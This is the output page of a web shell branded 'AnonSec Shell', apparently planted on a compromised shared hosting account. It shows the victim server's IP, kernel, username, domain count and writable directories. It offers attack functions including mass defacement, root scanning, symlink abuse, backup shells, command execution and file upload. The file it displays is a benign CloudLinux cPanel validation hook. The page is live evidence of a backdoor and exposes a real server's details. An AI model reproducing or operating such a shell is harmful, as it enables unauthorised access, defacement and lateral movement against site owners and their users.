AnonSec Shell
Server IP : 144.76.79.100  /  Your IP : 216.73.216.103   [ Reverse IP ]
Web Server : Apache
System : Linux ch05.wehostwebserver.com 5.14.0-611.5.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Nov 11 08:09:09 EST 2025 x86_64
User : razzlestore ( 1092)
PHP Version : 8.2.29
Disable Function : NONE
Domains : 343 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/razzlestore/public_html/anon_sym/anon/scripts/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home/razzlestore/public_html/anon_sym/anon/scripts/cl_pkg_verify_hook.py
#!/opt/cloudlinux/venv/bin/python3 -bb
# -*- coding: utf-8 -*-

# Copyright © Cloud Linux GmbH & Cloud Linux Software, Inc 2010-2019 All Rights Reserved
#
# Licensed under CLOUD LINUX LICENSE AGREEMENT
# http://cloudlinux.com/docs/LICENSE.TXT

"""
Module provides cpanel hook for validation lve package extension
"""

import os
import sys

import simplejson as json
from clcommon import memory_to_page, validate_cpu, validate_int

SCRIPT_NAME = os.path.basename(__file__)


def print_error_msg_and_exit(limit, value):
    limit_name = limit.split("_")[1].upper()
    if limit_name == "CPU":
        limit_name = "SPEED"
    elif limit_name == "MEM":
        limit_name = "VMEM"
    print(0, "Invalid value for " + str(limit_name) + " : " + str(value))
    sys.exit(1)


def need_validation(json_decode):
    """
    Return true if we need validate input data
    """
    if os.path.basename(json_decode["hook"]["hook"]) == SCRIPT_NAME and json_decode["context"]["stage"] == "pre":
        return True
    return False


if "__main__" == __name__:
    lines = sys.stdin.read()
    json_decode = json.loads(lines)

    if need_validation(json_decode):
        hook_data = json_decode["data"]
        for key, value in hook_data.items():
            if not key.startswith("lve_"):
                continue
            if value in ("DEFAULT", "", None):
                continue
            elif key in ("lve_ncpu", "lve_iops", "lve_nproc", "lve_io", "lve_ep"):
                if value is not None:
                    if value != validate_int(value):
                        print_error_msg_and_exit(key, value)
            elif key in ("lve_inodes_soft", "lve_inodes_hard", "lve_mysql_cpu", "lve_mysql_io"):
                if key == "lve_mysql_cpu":
                    value = value.replace("%", "")
                if value is not None:
                    if value != validate_int(value, min_val=-1):
                        print_error_msg_and_exit(key, value)
            elif key in ("lve_pmem", "lve_mem"):
                temp = memory_to_page(value)
                if temp is None:
                    print_error_msg_and_exit(key, value)
            elif key in ("lve_cpu",):
                temp = validate_cpu(value)
                if temp is None:
                    print_error_msg_and_exit(key, value)
            else:  # UNKNOWN LVE LIMIT
                print_error_msg_and_exit(key, value)
    print(1, "Ok")

Anon7 - 2022
AnonSec Team